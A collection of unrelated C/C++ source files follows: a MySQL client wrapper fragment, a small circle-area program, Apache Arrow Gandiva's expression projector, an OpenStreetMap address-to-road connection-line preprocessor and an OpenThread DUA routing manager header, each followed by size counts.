if(rc != ERROR_SUCCESS)
{
more = false;
break;
}
i++;
// Key is "MySQL Server 5.5" for version 5.5, 5.6 and 5.7
if(strncmp(key, "MySQL Server", 12) != 0)
continue;
rc = RegOpenKeyEx(hKey, key, 0, KEY_READ, &hSubkey);
if(rc != ERROR_SUCCESS)
break;
int value_size = 1024;
rc = RegQueryValueEx(hSubkey, "Location", NULL, NULL, (LPBYTE)location, (LPDWORD)&value_size);
if(rc == ERROR_SUCCESS)
{
// For MySQL 5.5, 5.6 and 5.7 location includes terminating '\'
std::string loc = location;
loc += "lib\\";
_driver_paths.push_back(loc);
}
RegCloseKey(hSubkey);
}
RegCloseKey(hKey);
}
#endif
}
// Set error code and message for the last API call
void SqlMysqlApi::SetError()
{
// Get native error code
_native_error = (int)_mysql_errno(&_mysql);
// Get native error text
strcpy(_native_error_text, _mysql_error(&_mysql));
_error = SQL_DBAPI_UNKNOWN_ERROR;
*_error_text = '\x0';
}
| 44,745 | 19,227 |
#include<bits/stdc++.h>
using namespace std;
int main(){
double raio, pi, area;
pi = 3.14159;
scanf("%lf",&raio);
area = pi * raio * raio;
printf("A=%.4lf\n", area);
return 0;
}
| 202 | 101 |
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
#include "gandiva/projector.h"
#include <memory>
#include <utility>
#include <vector>
#include "gandiva/cache.h"
#include "gandiva/expr_validator.h"
#include "gandiva/llvm_generator.h"
#include "gandiva/projector_cache_key.h"
namespace gandiva {
Projector::Projector(std::unique_ptr<LLVMGenerator> llvm_generator, SchemaPtr schema,
const FieldVector& output_fields,
std::shared_ptr<Configuration> configuration)
: llvm_generator_(std::move(llvm_generator)),
schema_(schema),
output_fields_(output_fields),
configuration_(configuration) {}
Projector::~Projector() {}
Status Projector::Make(SchemaPtr schema, const ExpressionVector& exprs,
std::shared_ptr<Projector>* projector) {
return Projector::Make(schema, exprs, ConfigurationBuilder::DefaultConfiguration(),
projector);
}
Status Projector::Make(SchemaPtr schema, const ExpressionVector& exprs,
std::shared_ptr<Configuration> configuration,
std::shared_ptr<Projector>* projector) {
ARROW_RETURN_IF(schema == nullptr, Status::Invalid("Schema cannot be null"));
ARROW_RETURN_IF(exprs.empty(), Status::Invalid("Expressions cannot be empty"));
ARROW_RETURN_IF(configuration == nullptr,
Status::Invalid("Configuration cannot be null"));
// see if equivalent projector was already built
static Cache<ProjectorCacheKey, std::shared_ptr<Projector>> cache;
ProjectorCacheKey cache_key(schema, configuration, exprs);
std::shared_ptr<Projector> cached_projector = cache.GetModule(cache_key);
if (cached_projector != nullptr) {
*projector = cached_projector;
return Status::OK();
}
// Build LLVM generator, and generate code for the specified expressions
std::unique_ptr<LLVMGenerator> llvm_gen;
ARROW_RETURN_NOT_OK(LLVMGenerator::Make(configuration, &llvm_gen));
// Run the validation on the expressions.
// Return if any of the expression is invalid since
// we will not be able to process further.
ExprValidator expr_validator(llvm_gen->types(), schema);
for (auto& expr : exprs) {
ARROW_RETURN_NOT_OK(expr_validator.Validate(expr));
}
ARROW_RETURN_NOT_OK(llvm_gen->Build(exprs));
// save the output field types. Used for validation at Evaluate() time.
std::vector<FieldPtr> output_fields;
output_fields.reserve(exprs.size());
for (auto& expr : exprs) {
output_fields.push_back(expr->result());
}
// Instantiate the projector with the completely built llvm generator
*projector = std::shared_ptr<Projector>(
new Projector(std::move(llvm_gen), schema, output_fields, configuration));
cache.PutModule(cache_key, *projector);
return Status::OK();
}
Status Projector::Evaluate(const arrow::RecordBatch& batch,
const ArrayDataVector& output_data_vecs) {
return Evaluate(batch, nullptr, output_data_vecs);
}
Status Projector::Evaluate(const arrow::RecordBatch& batch,
const SelectionVector* selection_vector,
const ArrayDataVector& output_data_vecs) {
ARROW_RETURN_NOT_OK(ValidateEvaluateArgsCommon(batch));
if (output_data_vecs.size() != output_fields_.size()) {
std::stringstream ss;
ss << "number of buffers for output_data_vecs is " << output_data_vecs.size()
<< ", expected " << output_fields_.size();
return Status::Invalid(ss.str());
}
int idx = 0;
for (auto& array_data : output_data_vecs) {
if (array_data == nullptr) {
std::stringstream ss;
ss << "array for output field " << output_fields_[idx]->name() << "is null.";
return Status::Invalid(ss.str());
}
auto num_rows =
selection_vector == nullptr ? batch.num_rows() : selection_vector->GetNumSlots();
ARROW_RETURN_NOT_OK(
ValidateArrayDataCapacity(*array_data, *(output_fields_[idx]), num_rows));
++idx;
}
return llvm_generator_->Execute(batch, selection_vector, output_data_vecs);
}
Status Projector::Evaluate(const arrow::RecordBatch& batch, arrow::MemoryPool* pool,
arrow::ArrayVector* output) {
return Evaluate(batch, nullptr, pool, output);
}
Status Projector::Evaluate(const arrow::RecordBatch& batch,
const SelectionVector* selection_vector,
arrow::MemoryPool* pool, arrow::ArrayVector* output) {
ARROW_RETURN_NOT_OK(ValidateEvaluateArgsCommon(batch));
ARROW_RETURN_IF(output == nullptr, Status::Invalid("Output must be non-null."));
ARROW_RETURN_IF(pool == nullptr, Status::Invalid("Memory pool must be non-null."));
auto num_rows =
selection_vector == nullptr ? batch.num_rows() : selection_vector->GetNumSlots();
// Allocate the output data vecs.
ArrayDataVector output_data_vecs;
for (auto& field : output_fields_) {
ArrayDataPtr output_data;
ARROW_RETURN_NOT_OK(AllocArrayData(field->type(), num_rows, pool, &output_data));
output_data_vecs.push_back(output_data);
}
// Execute the expression(s).
ARROW_RETURN_NOT_OK(
llvm_generator_->Execute(batch, selection_vector, output_data_vecs));
// Create and return array arrays.
output->clear();
for (auto& array_data : output_data_vecs) {
output->push_back(arrow::MakeArray(array_data));
}
return Status::OK();
}
// TODO : handle variable-len vectors
Status Projector::AllocArrayData(const DataTypePtr& type, int64_t num_records,
arrow::MemoryPool* pool, ArrayDataPtr* array_data) {
const auto* fw_type = dynamic_cast<const arrow::FixedWidthType*>(type.get());
ARROW_RETURN_IF(fw_type == nullptr,
Status::Invalid("Unsupported output data type ", type));
std::shared_ptr<arrow::Buffer> null_bitmap;
int64_t bitmap_bytes = arrow::BitUtil::BytesForBits(num_records);
ARROW_RETURN_NOT_OK(arrow::AllocateBuffer(pool, bitmap_bytes, &null_bitmap));
std::shared_ptr<arrow::Buffer> data;
int64_t data_len = arrow::BitUtil::BytesForBits(num_records * fw_type->bit_width());
ARROW_RETURN_NOT_OK(arrow::AllocateBuffer(pool, data_len, &data));
// This is not strictly required but valgrind gets confused and detects this
// as uninitialized memory access. See arrow::util::SetBitTo().
if (type->id() == arrow::Type::BOOL) {
memset(data->mutable_data(), 0, data_len);
}
*array_data = arrow::ArrayData::Make(type, num_records, {null_bitmap, data});
return Status::OK();
}
Status Projector::ValidateEvaluateArgsCommon(const arrow::RecordBatch& batch) {
ARROW_RETURN_IF(!batch.schema()->Equals(*schema_),
Status::Invalid("Schema in RecordBatch must match schema in Make()"));
ARROW_RETURN_IF(batch.num_rows() == 0,
Status::Invalid("RecordBatch must be non-empty."));
return Status::OK();
}
Status Projector::ValidateArrayDataCapacity(const arrow::ArrayData& array_data,
const arrow::Field& field,
int64_t num_records) {
ARROW_RETURN_IF(array_data.buffers.size() < 2,
Status::Invalid("ArrayData must have at least 2 buffers"));
int64_t min_bitmap_len = arrow::BitUtil::BytesForBits(num_records);
int64_t bitmap_len = array_data.buffers[0]->capacity();
ARROW_RETURN_IF(bitmap_len < min_bitmap_len,
Status::Invalid("Bitmap buffer too small for ", field.name()));
// verify size of data buffer.
// TODO : handle variable-len vectors
const auto& fw_type = dynamic_cast<const arrow::FixedWidthType&>(*field.type());
int64_t min_data_len = arrow::BitUtil::BytesForBits(num_records * fw_type.bit_width());
int64_t data_len = array_data.buffers[1]->capacity();
ARROW_RETURN_IF(data_len < min_data_len,
Status::Invalid("Data buffer too small for ", field.name()));
return Status::OK();
}
} // namespace gandiva
| 8,739 | 2,718 |
#ifndef CONNECTIONLINEPREPROCESSOR_HPP_
#define CONNECTIONLINEPREPROCESSOR_HPP_
#include <math.h>
constexpr osmium::object_id_type DUMMY_ID = 0;
// maximum length of a connection line (given in degrees)
// the given value is not a strict limit: some connection lines may be longer (up to a factor of maybe 1.5)
// approximate length in meters = MAXDIST*40'000'000/360
constexpr double MAXDIST = 0.01;
constexpr bool IS_ADDRSTREET = true;
constexpr bool IS_ADDRPLACE = false;
#include "NearestPointsWriter.hpp"
#include "NearestRoadsWriter.hpp"
#include "NearestAreasWriter.hpp"
#include "ConnectionLineWriter.hpp"
#include "GeometryHelper.hpp"
class ConnectionLinePreprocessor {
public:
ConnectionLinePreprocessor(
const std::string& dir_name,
name2highways_type& name2highways_area,
name2highways_type& name2highways_nonarea,
name2place_type& name2place_nody,
name2place_type& name2place_wayy)
: mp_name2highways_area(name2highways_area),
mp_name2highways_nonarea(name2highways_nonarea),
m_name2place_nody(name2place_nody),
m_name2place_wayy(name2place_wayy),
addrstreet(nullptr) {
mp_nearest_points_writer = new NearestPointsWriter (dir_name);
mp_nearest_roads_writer = new NearestRoadsWriter (dir_name);
mp_nearest_areas_writer = new NearestAreasWriter (dir_name);
mp_connection_line_writer = new ConnectionLineWriter(dir_name);
}
~ConnectionLinePreprocessor() {
// those need to be explicitly to be deleted to perform the commit operations in their deconstructor
delete mp_nearest_points_writer;
delete mp_nearest_roads_writer;
delete mp_nearest_areas_writer;
delete mp_connection_line_writer;
}
void process_interpolated_node(
OGRPoint& ogr_point,
std::string& road_id, // out
std::string& nody_place_id, // out
std::string& wayy_place_id, // out
const std::string& street)
{
addrstreet = street.c_str();
if (addrstreet && has_entry_in_name2highways(street)) {
handle_connection_line(ogr_point, DUMMY_ID,
object_type::interpolated_node_object, addrstreet, road_id,
nody_place_id, wayy_place_id, IS_ADDRSTREET);
}
}
void process_node(
const osmium::Node& node,
std::string& road_id, // out
std::string& nody_place_id, // out
std::string& wayy_place_id) // out
{
addrstreet = node.tags().get_value_by_key("addr:street");
if (addrstreet && has_entry_in_name2highways(node)) {
std::unique_ptr<OGRPoint> ogr_point = m_factory.create_point(node);
handle_connection_line(*ogr_point.get(), node.id(),
object_type::node_object, addrstreet, road_id,
nody_place_id, wayy_place_id, IS_ADDRSTREET);
} else {
// road_id shall not be written by handle_connection_line
}
addrplace = node.tags().get_value_by_key("addr:place");
if (addrplace && has_entry_in_name2place(node)) {
std::unique_ptr<OGRPoint> ogr_point = m_factory.create_point(node);
handle_connection_line(*ogr_point.get(), node.id(),
object_type::node_object, addrplace, road_id,
nody_place_id, wayy_place_id, IS_ADDRPLACE);
} else {
// nody_place_id, wayy_place_id shall not be written by handle_connection_line
}
}
void process_way(
const osmium::Way& way,
std::string& road_id, // out
std::string& nody_place_id, // out
std::string& wayy_place_id) // out
{
if (way.is_closed()) {
addrstreet = way.tags().get_value_by_key("addr:street");
if (addrstreet && has_entry_in_name2highways(way)) {
std::unique_ptr<OGRPoint> ogr_point = m_geometry_helper.centroid(way);
handle_connection_line(*ogr_point.get(), way.id(),
object_type::way_object, addrstreet, road_id,
nody_place_id, wayy_place_id, IS_ADDRSTREET);
} else {
// road_id shall not be written by handle_connection_line
}
addrplace = way.tags().get_value_by_key("addr:place");
if (addrplace && has_entry_in_name2place(way)) {
std::unique_ptr<OGRPoint> ogr_point = m_geometry_helper.centroid(way);
handle_connection_line(*ogr_point.get(), way.id(),
object_type::way_object, addrplace, road_id,
nody_place_id, wayy_place_id, IS_ADDRPLACE);
} else {
// nody_place_id, wayy_place_id shall not be written by handle_connection_line
}
}
}
private:
void handle_connection_line(
OGRPoint& ogr_point, // TODO: can we make this const ?
const osmium::object_id_type& objectid,
const object_type& the_object_type,
const char* addrstreet,
std::string& road_id, // out
std::string& nody_place_id, // out
std::string& wayy_place_id, // out
const bool& is_addrstreet) {
std::unique_ptr<OGRPoint> closest_node(new OGRPoint);
std::unique_ptr<OGRPoint> closest_point(new OGRPoint); // TODO: check if new is necessary
std::unique_ptr<OGRLineString> closest_way(new OGRLineString); // TODO: check if new is necessary
osmium::unsigned_object_id_type closest_obj_id = 0; // gets written later; wouldn't need an initialization, but gcc warns otherwise
osmium::unsigned_object_id_type closest_way_id = 0; // gets written later; wouldn't need an initialization, but gcc warns otherwise
int ind_closest_node;
std::string lastchange;
bool is_area;
bool is_nody;
// handle addr:place here
if (is_addrstreet == IS_ADDRPLACE &&
get_closest_place(ogr_point, closest_point, is_nody, closest_obj_id, lastchange)) {
if (is_nody) {
nody_place_id = "1";
} else {
wayy_place_id = "1";
}
mp_connection_line_writer->write_line(ogr_point, closest_point, closest_obj_id, the_object_type);
}
// handle addr:street here
if (is_addrstreet == IS_ADDRSTREET &&
get_closest_way(ogr_point, closest_way, is_area, closest_way_id, lastchange)) {
m_geometry_helper.wgs2mercator({&ogr_point, closest_way.get(), closest_point.get()});
get_closest_node(ogr_point, closest_way, closest_node, ind_closest_node);
get_closest_point_from_node_neighbourhood(ogr_point, closest_way, ind_closest_node, closest_point);
m_geometry_helper.mercator2wgs({&ogr_point, closest_way.get(), closest_point.get()});
// TODO: could this be parallelized?
mp_nearest_points_writer->write_point(closest_point, closest_way_id);
if (is_area) {
mp_nearest_areas_writer->write_area(closest_way, closest_way_id, addrstreet, lastchange);
} else {
mp_nearest_roads_writer->write_road(closest_way, closest_way_id, addrstreet, lastchange);
}
mp_connection_line_writer->write_line(ogr_point, closest_point, objectid, the_object_type);
road_id = "1"; // TODO: need to write the actual road_id
}
}
// return value: was a closest place found/written
bool get_closest_place(
const OGRPoint& ogr_point,
std::unique_ptr<OGRPoint>& closest_point, // out
bool& is_nody, // out
osmium::unsigned_object_id_type& closest_obj_id,
std::string& lastchange) {
double best_dist = MAXDIST;
double cur_dist = std::numeric_limits<double>::max();
bool is_assigned = false;
std::pair<name2place_type::iterator, name2place_type::iterator> name2place_it_pair_nody;
std::pair<name2place_type::iterator, name2place_type::iterator> name2place_it_pair_wayy;
name2place_it_pair_nody = m_name2place_nody.equal_range(std::string(addrplace));
name2place_it_pair_wayy = m_name2place_wayy.equal_range(std::string(addrplace));
for (name2place_type::iterator it = name2place_it_pair_nody.first; it!=name2place_it_pair_nody.second; ++it) {
cur_dist = it->second.ogrpoint->Distance(&ogr_point);
if (cur_dist < best_dist) {
closest_point.reset(static_cast<OGRPoint*>(it->second.ogrpoint.get()->clone()));
is_nody = true;
is_assigned = true;
// TODO: extract more info from struct
}
}
for (name2place_type::iterator it = name2place_it_pair_wayy.first; it!=name2place_it_pair_wayy.second; ++it) {
cur_dist = it->second.ogrpoint->Distance(&ogr_point);
if (cur_dist < best_dist) { // TODO: add check for minimum distance to prevent long connection lines
closest_point.reset(static_cast<OGRPoint*>(it->second.ogrpoint.get()->clone()));
is_nody = false;
is_assigned = true;
// TODO: extract more info from struct
}
}
return is_assigned;
}
/* look up the closest way with the given name in the name2highway structs for ways and areas */
/* return: was a way found/assigned to closest_way */
bool get_closest_way(
const OGRPoint& ogr_point, // in
std::unique_ptr<OGRLineString>& closest_way, // out
bool& is_area, // out
osmium::unsigned_object_id_type& closest_way_id, // out
std::string& lastchange) // out
{
double best_dist = std::numeric_limits<double>::max();
bool is_assigned = false;
std::pair<name2highways_type::iterator, name2highways_type::iterator> name2highw_it_pair;
name2highw_it_pair = mp_name2highways_area.equal_range(std::string(addrstreet));
if (get_closest_way_from_argument(ogr_point, best_dist, closest_way, closest_way_id, lastchange, name2highw_it_pair)) {
is_area = true;
is_assigned = true;
}
name2highw_it_pair = mp_name2highways_nonarea.equal_range(std::string(addrstreet));
if (get_closest_way_from_argument(ogr_point, best_dist, closest_way, closest_way_id, lastchange, name2highw_it_pair)) {
is_area = false;
is_assigned = true;
}
return is_assigned;
}
/* look up the closest way in the given name2highway struct that is closer than best_dist using bbox
* return true if found */
bool get_closest_way_from_argument(
const OGRPoint& ogr_point, // in
double& best_dist, // in,out
std::unique_ptr<OGRLineString>& closest_way, // out
osmium::unsigned_object_id_type& closest_way_id, // out
std::string& lastchange, // out
const std::pair<name2highways_type::iterator, name2highways_type::iterator> name2highw_it_pair) { // in
double cur_dist;
bool assigned = false;
for (name2highways_type::iterator it = name2highw_it_pair.first; it!=name2highw_it_pair.second; ++it) {
if (m_geometry_helper.is_point_near_bbox(
it->second.bbox_n,
it->second.bbox_e,
it->second.bbox_s,
it->second.bbox_w,
ogr_point,
MAXDIST)) {
std::unique_ptr<OGRLineString> linestring = it->second.compr_way.get()->uncompress();
cur_dist = linestring->Distance(&ogr_point);
// note: distance calculation involves nodes, but not the points between the nodes on the line segments
if (cur_dist < best_dist) {
closest_way.reset(linestring.release());
closest_way_id = it->second.way_id;
lastchange = it->second.lastchange;
best_dist = cur_dist;
assigned = true;
}
}
}
return assigned;
}
/* get the node of closest_way that is most close ogr_point */
void get_closest_node(
const OGRPoint& ogr_point,
const std::unique_ptr<OGRLineString>& closest_way,
std::unique_ptr<OGRPoint>& closest_node,
int& ind_closest_node) {
double min_dist = std::numeric_limits<double>::max();
double dist;
OGRPoint closest_node_candidate;
// iterate over all points of the closest way
for (int i=0; i<closest_way->getNumPoints(); i++){
closest_way->getPoint(i, &closest_node_candidate);
dist = ogr_point.Distance(&closest_node_candidate);
if (dist < min_dist) {
min_dist = dist;
ind_closest_node = i;
}
}
closest_way->getPoint(ind_closest_node, closest_node.get());
}
/* given the linestring closest_way, return the point on it that is closest to ogr_point */
void get_closest_point_from_node_neighbourhood(
const OGRPoint& ogr_point,
const std::unique_ptr<OGRLineString>& closest_way,
const int& ind_closest_node,
std::unique_ptr<OGRPoint>& closest_point) // out
{
OGRPoint neighbour_node;
OGRPoint closest_point_candidate;
OGRPoint closest_node;
closest_way.get()->getPoint(ind_closest_node, &closest_node);
closest_point.reset(static_cast<OGRPoint*>(closest_node.clone()));
if (ind_closest_node > 0) {
closest_way->getPoint(ind_closest_node-1, &neighbour_node);
get_closest_point_from_segment(closest_node, neighbour_node, ogr_point, *closest_point.get());
// no if condition necessary here, because get_closest_point_from_segment()
// will return a point, that is at least as close as closest_node
}
if (ind_closest_node < closest_way->getNumPoints()-1) {
closest_way->getPoint(ind_closest_node+1, &neighbour_node);
get_closest_point_from_segment(closest_node, neighbour_node, ogr_point, closest_point_candidate);
if (ogr_point.Distance(&closest_point_candidate) < ogr_point.Distance(closest_point.get())) {
closest_point.reset(static_cast<OGRPoint*>(closest_point_candidate.clone()));
}
}
}
// based on: http://postgis.refractions.net/documentation/postgis-doxygen/da/de7/liblwgeom_8h_84b0e41df157ca1201ccae4da3e3ef7d.html#84b0e41df157ca1201ccae4da3e3ef7d
// see also: http://femto.cs.illinois.edu/faqs/cga-faq.html#S1.02
/* given a single line segment from a to b, return the point on it that is closest to p */
void get_closest_point_from_segment(
const OGRPoint& a,
const OGRPoint& b,
const OGRPoint& p,
OGRPoint& ret) {
double r;
r = ((p.getX()-a.getX()) * (b.getX()-a.getX()) + (p.getY()-a.getY()) * (b.getY()-a.getY())) / (pow(b.getX()-a.getX(),2)+pow(b.getY()-a.getY(),2));
if (r<0) {
ret = a;
} else if (r>1) {
ret = b;
} else {
OGRLineString linestring;
linestring.addPoint(a.getX(), a.getY());
linestring.addPoint(b.getX(), b.getY());
linestring.Value(r*linestring.get_Length(), &ret);
}
}
bool has_entry_in_name2highways(const osmium::OSMObject& object) {
return has_entry_in_name2highways(std::string(object.tags().get_value_by_key("addr:street")));
}
bool has_entry_in_name2highways(const std::string& addrstreet) {
if (mp_name2highways_nonarea.find(std::string(addrstreet)) != mp_name2highways_nonarea.end() || // TODO: use result directly
(mp_name2highways_area.find(std::string(addrstreet)) != mp_name2highways_area.end())) {
return true;
} else {
return false;
}
}
bool has_entry_in_name2place(const osmium::OSMObject& object) {
return has_entry_in_name2place(std::string(object.tags().get_value_by_key("addr:place")));
}
bool has_entry_in_name2place(const std::string& addrplace) {
if (m_name2place_nody.find(std::string(addrplace)) != m_name2place_nody.end() || // TODO: use result directly
(m_name2place_wayy.find(std::string(addrplace)) != m_name2place_wayy.end())) {
return true;
} else {
return false;
}
}
name2highways_type& mp_name2highways_area;
name2highways_type& mp_name2highways_nonarea;
name2place_type& m_name2place_nody;
name2place_type& m_name2place_wayy;
const char* addrstreet;
const char* addrplace;
osmium::geom::OGRFactory<> m_factory {};
NearestPointsWriter* mp_nearest_points_writer;
NearestRoadsWriter* mp_nearest_roads_writer;
NearestAreasWriter* mp_nearest_areas_writer;
ConnectionLineWriter* mp_connection_line_writer;
GeometryHelper m_geometry_helper;
};
#endif /* CONNECTIONLINEPREPROCESSOR_HPP_ */
| 15,520 | 6,159 |
/*
* Copyright (c) 2020, The OpenThread Authors.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @file
* This file includes definition for DUA routing functionalities.
*/
#ifndef BACKBONE_ROUTER_DUA_ROUTING_MANAGER
#define BACKBONE_ROUTER_DUA_ROUTING_MANAGER
#if OTBR_ENABLE_DUA_ROUTING
#include <set>
#include <openthread/backbone_router_ftd.h>
#include "agent/instance_params.hpp"
#include "common/code_utils.hpp"
#include "ncp/ncp_openthread.hpp"
#include "utils/system_utils.hpp"
namespace otbr {
namespace BackboneRouter {
/**
* @addtogroup border-router-backbone
*
* @brief
* This module includes definition for DUA routing functionalities.
*
* @{
*/
/**
* This class implements the DUA routing manager.
*
*/
class DuaRoutingManager : private NonCopyable
{
public:
/**
* This constructor initializes a DUA routing manager instance.
*
*/
explicit DuaRoutingManager()
: mEnabled(false)
{
}
/**
* This method enables the DUA routing manager.
*
*/
void Enable(const Ip6Prefix &aDomainPrefix);
/**
* This method disables the DUA routing manager.
*
*/
void Disable(void);
private:
void AddDefaultRouteToThread(void);
void DelDefaultRouteToThread(void);
void AddPolicyRouteToBackbone(void);
void DelPolicyRouteToBackbone(void);
Ip6Prefix mDomainPrefix;
bool mEnabled : 1;
};
/**
* @}
*/
} // namespace BackboneRouter
} // namespace otbr
#endif // OTBR_ENABLE_DUA_ROUTING
#endif // BACKBONE_ROUTER_DUA_ROUTING_MANAGER
| 3,129 | 1,070 |